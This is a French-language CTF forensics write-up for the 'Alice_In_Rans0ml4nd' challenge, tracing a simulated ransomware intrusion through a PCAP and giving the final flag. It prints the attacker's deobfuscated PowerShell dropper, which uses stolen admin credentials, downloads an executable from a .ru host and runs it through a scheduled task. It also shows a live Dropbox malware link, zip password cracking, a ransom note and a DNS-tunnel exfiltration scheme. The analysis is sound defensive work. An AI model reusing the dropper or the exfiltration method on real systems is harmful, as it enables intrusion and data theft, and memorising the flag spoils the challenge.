Alice_In_Rans0ml4nd

Flag: ECW{f68ba371b5fc66c802207b9bedd0838af9d6d7a46085765425d89f80f558b3f9}

Challenge

3MB

esna_AliceInRans0ml4nd.zip

archive

Ouvrir

Description

---

You are urgently contacted by Alice-Corp, a company specialized in developing technological solutions. Our server as well as all workstations connected to our Active Directory have suddenly been encrypted. The Alice-Corp network team managed to capture part of the network traffic. As a forensic investigator, you must analyze this file to find the following items.

1. The email address used by the attacker (format: [email protected])

2. The email address targeted within the company (format: [email protected])

3. The MD5 hash of the first malware

4. The domain name contacted to download a script

5. The password used to connect to the server

6. The name of the scheduled task that was executed

7. The domain name (in lowercase) contacted by the script to download the second malware

8. The MD5 hash of the malware present on the server

9. The domain name used for data exfiltration

10. The name of the ransomware gang (in lowercase)

11. The cryptocurrency wallet address used by the attackers

12. The final flag contained in a file exfiltrated by the malware

Example:

echo -n "[email protected]:[email protected]:5d41402abc4b2a76b9719d911017c592:example.com:123456789:ImAtask:example.com:5d41402abc4b2a76b9719d911017c592:example.com:black-cat:84EgZVjXKF4d1JkEhZSxm4LQQEx64AvqQEwkvWPtHEb5JMrB1Y86y1vCPSCiXsKzbfS9x8vCpx3gVgPaHCpobPYqQzANTnC:fin4l_flag" | sha256sum
ECW{72b6de81f96018ee4df492ff6fa84ccccc0211919f64a7cca474fb33659e9c49}

Disclaimer The PCAP file provided in this challenge contains real or simulated malicious payloads (such as executables, scripts, or infected files transferred over the network). Use an isolated environment

Archive password : 1_C0ns3nt_;)

Challenge made by Insomnia from :

Solution

Beaucoup d'informations à récupérer, il faut y aller étape par étape.

---

[1-2] Emails

Dans le PCAP, on peut trouver un mail en clair.

On a déjà les deux premières infos demandées :

1. [email protected]

2. [email protected]

---

[3] Premier malware

Le mail contient un lien dropbox, il suffit d'aller récupérer le contenu mais attention à la petite subtilité : les mails utilisent parfois l'encodage Quoted-Printable. Il faut donc le décoder avant de l'utiliser.

https://www.dropbox.com/scl/fi/n13dckvawgi8rf50qr6ij/helpdesk.zip?rlkey=dlnvxltgup1wnlesbuiey2fwe&e=2&st=98676emp&dl=1

Maintenant il faut ouvrir le zip. Pour ça on va bruteforce le mot de passe avec johntheripper.

$ zip2john helpdesk.zip > helpdesk.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt helpdesk.hash

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!!Miley24$$      (helpdesk.zip)
1g 0:00:00:01 DONE

Le mot de passe est donc !!Miley24$$. On peut ouvrir le zip et calculer le md5 du malware.

$ md5sum helpdesk.exe
8d8b36683ed095a7eebe4e8c70141bfc  helpdesk.exe

1. 8d8b36683ed095a7eebe4e8c70141bfc

---

[4-5-6-7] Script malveillant

Continuons l'analyse du PCAP. Après le téléchargement du malware par la victime, on voit une requête sur http://ykfqaqa.ru:8000/deploy-malware.ps1.

Ca renvoie un script PowerShell :

$z1 = @(
0x13,0x62,0x44,0x52,0x45,0x17,0xa,0x17,0x15,0x56,
[...]
0x1a,0x7f,0x58,0x44,0x43,0x17,0x15,0x15,0x3d,0x4a,
0x3d
)

$z2 = ""
foreach ($z3 in $z1) {
    $z2 += [char]($z3 -bxor 0x37)
}

Invoke-Expression $z2

Il suffit de ne pas appeler la dernière ligne et regarder ce qui a été "déchiffré" dans $z2. On obtiens :

$User = "alice-corp\administrateur"
$PasswordPlain = "admin123sY*-+"
$Pass = ConvertTo-SecureString $PasswordPlain -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential($User, $Pass)

$RemoteHost = "192.168.57.200"

$RemoteCommand = {
    $exeUrl = "http://susqoUh.ru:8000/susqoUh.exe"
    $exePath = "C:\Windows\Temp\helpdesk.exe"
    $taskName = "DontTouchMe"

    try {
        Invoke-WebRequest -Uri $exeUrl -OutFile $exePath -UseBasicParsing

        $action = New-ScheduledTaskAction -Execute $exePath
        $trigger = New-ScheduledTaskTrigger -AtStartup
        $settings = New-ScheduledTaskSettingsSet -StartWhenAvailable -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries

        Register-ScheduledTask -TaskName $taskName `
            -Action $action `
            -Trigger $trigger `
            -User "alice-corp\administrateur" `
            -Password "admin123sY*-+" `
            -Settings $settings `
            -RunLevel Highest `
            -Force

        Start-ScheduledTask -TaskName $taskName

    } catch {
        Write-Host ""
    }
}

try {
    Invoke-Command -ComputerName $RemoteHost -Credential $Cred -ScriptBlock $RemoteCommand -ErrorAction Stop
} catch {
    Write-Host ""
}

On apprend pleins d'informations :

1. ykfqaqa.ru

2. admin123sY*-+

3. DontTouchMe

4. susqouh.ru

---

[8-10-11] Second Malware

On peut aller le récupérer via l'exportation des objets HTTP de WireShark :

$ md5sum susqoUh.exe
5d820e7bbb4e4bc266629cadfa474365  susqoUh.exe

Sans aller jusqu'à la décompilation, on peut prendre de l'information en regardant les chaînes de caractères dans le malware. Et on tombe très rapidemment sur un message clair.

$ strings susqoUh.exe  -n 12

!This program cannot be run in DOS mode.
UAWAVAUATVWSH
[_^A\A]A^A_]

[...]

USERPROFILEFailed to get USERPROFILEDesktop
C:\Users\sachu\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\core\src\iter\traits\iterator.rs
#SPX-3041BidYinxuqab.rukeyfile
message.txt---[ SPHINXLOCK RANSOMWARE GROUP ]---
Your network has been compromised and all critical files have been encrypted.
This includes documents, databases, backups, and internal project files.
We are SPHINXLOCK
 specializing in corporate data extraction and ransomware-as-a-service.
Do NOT attempt to recover your files using third-party tools. Doing so will permanently corrupt them.
>>> How to restore your files:
1. Purchase 5000 USD in Monero (XMR) cryptocurrency.
2. Send the exact amount to the following wallet address:
   84N2hXaVqgS5DzA1FpkGuD98Ex2cVXH6k8RwZ7PmUz1oBY9X6GZYMT3WJYkfY9AdELNH2tsBrxJZcdkLkJxYH5RZ73XKbPq
3. After payment, email us at:
   [email protected]
   Include in your message:
   - Your unique victim ID: #SPX-3041B
   - Proof of payment
   - 1 encrypted files (max 1MB) for free decryption test
>>> WARNING:
If you fail to pay within 72 hours, we will:
- Start posting confidential files.
- Sell sensitive corporate data.
This is your only opportunity to prevent a total data breach.
We are watching.
FieldSet corrupted (this is a bug)C:\Users\sachu\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\trust-dns-proto-0.22.0\src\xfer\dns_multiplexer.rs
stream is done: @:

[...]

1. 5d820e7bbb4e4bc266629cadfa474365

Et

1. sphinxlock

2. 84N2hXaVqgS5DzA1FpkGuD98Ex2cVXH6k8RwZ7PmUz1oBY9X6GZYMT3WJYkfY9AdELNH2tsBrxJZcdkLkJxYH5RZ73XKbPq

---

[9-12] Exfiltration

Plus tard dans le PCAP, on trouve pas mal de requêtes DNS étranges vers le domaine yinxuqab.ru :

Les sous-domaines utilisés sont toujours de la forme :

• file<X>-<Y>-<HEX>.yinxuqab.ru

• file<X>-complete.yinxuqab.ru

• id<X>-<HEX>.yinxuqab.ru

• id<X>-complete.yinxuqab.ru

• key-<X>-<HEX>.yinxuqab.ru

• key-complet.yinxuqab.ru

Là, soit c'est de l'intuition (parce que assez logique), soit il faut reverse l'exe, soit se rendre sur virus-total pour voir les analyses existantes mais en gros :

1. Le fichier est découpé en bloc de 20 bytes puis mis en hexa.

2. Le X du premier type de requête correspond au fichier, le Y au numéro du bloc.

3. La clé est envoyé en 2 paquets, un avec 20 bytes et l'autres 16, donc une clé de 32 bytes.

Petit script python pour récupérer toutes ces valeurs et déchiffrer le fichier exfiltré :

from scapy.all import PcapReader, DNS, IP

FILE = "chall.pcapng"
SRC_IP = "192.168.57.200"

with PcapReader(FILE) as rdr:
    for pkt in rdr:
        if not (IP in pkt and pkt[IP].src == SRC_IP and DNS in pkt):
            continue
        dns = pkt[DNS]
        if dns.qr != 0:             # On veut que les Query
          continue
        if dns.qd.qtype != 1:       # On veut du type A
          continue
        
        sub = pkt[DNS].qd.qname.decode().split('.yinxuqab.ru')[0]
        print(sub)

file0-0-d2373cdd6d999679668b0d4587abbeb325bda034
file0-0-d2373cdd6d999679668b0d4587abbeb325bda034
file0-1-3841f3cdb1e4ec8f7b597f75ddde462a9bbefb82
file0-1-3841f3cdb1e4ec8f7b597f75ddde462a9bbefb82
file0-2-8318f3bc16af0f52dce3ffbfa34670557bf89ee9
file0-2-8318f3bc16af0f52dce3ffbfa34670557bf89ee9
file0-3-8ce45da82eb45abd320c4b0a143e2569a6bd8a8f
file0-3-8ce45da82eb45abd320c4b0a143e2569a6bd8a8f
file0-4-8d7c0e52a76ff4b4505e82df2c204632
file0-4-8d7c0e52a76ff4b4505e82df2c204632
file0-complete
file0-complete
id-0-235350582d3330343142
id-0-235350582d3330343142
id-complete
id-complete
key-0-3de090e7059fb1d7f77dec50078405c855e3f1a4
key-0-3de090e7059fb1d7f77dec50078405c855e3f1a4
key-1-6589e72db2602c7d7e8403b8
key-1-6589e72db2602c7d7e8403b8
key-complete
key-complete

Une fois réassemblé, ça nous donne :

file = d2373cdd6d999679668b0d4587abbeb325bda0343841f3cdb1e4ec8f7b597f75ddde462a9bbefb828318f3bc16af0f52dce3ffbfa34670557bf89ee98ce45da82eb45abd320c4b0a143e2569a6bd8a8f8d7c0e52a76ff4b4505e82df2c204632
key = 3de090e7059fb1d7f77dec50078405c855e3f1a46589e72db2602c7d7e8403b8

Maintenant, on peut soit demander à un LLM de faire plein de test, soit avoir la bonne intuition : c'est de l'AES-GCM car le plus utilisé (rip chacha20).

Ce qui nous donne pour déchiffrer :

from Crypto.Cipher import AES

file = bytes.fromhex("d2373cdd6d999679668b0d4587abbeb325bda0343841f3cdb1e4ec8f7b597f75ddde462a9bbefb828318f3bc16af0f52dce3ffbfa34670557bf89ee98ce45da82eb45abd320c4b0a143e2569a6bd8a8f8d7c0e52a76ff4b4505e82df2c204632")
key = bytes.fromhex("3de090e7059fb1d7f77dec50078405c855e3f1a46589e72db2602c7d7e8403b8")

ciphertext = file[12:-16]
nonce = file[:12]
tag = file[-16:]
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
print(cipher.decrypt_and_verify(ciphertext, tag))

Congratulation this is your final part : DNS_TUNNEL_SUCCESS_C0MPLETE

1. yinxuqab.ru

ET

1. DNS_TUNNEL_SUCCESS_C0MPLETE

---

Création du flag

$ echo -n "[email protected]:[email protected]:8d8b36683ed095a7eebe4e8c70141bfc:ykfqaqa.ru:admin123sY*-+:DontTouchMe:susqouh.ru:5d820e7bbb4e4bc266629cadfa474365:yinxuqab.ru:sphinxlock:84N2hXaVqgS5DzA1FpkGuD98Ex2cVXH6k8RwZ7PmUz1oBY9X6GZYMT3WJYkfY9AdELNH2tsBrxJZcdkLkJxYH5RZ73XKbPq:DNS_TUNNEL_SUCCESS_C0MPLETE" | sha256sum

f68ba371b5fc66c802207b9bedd0838af9d6d7a46085765425d89f80f558b3f9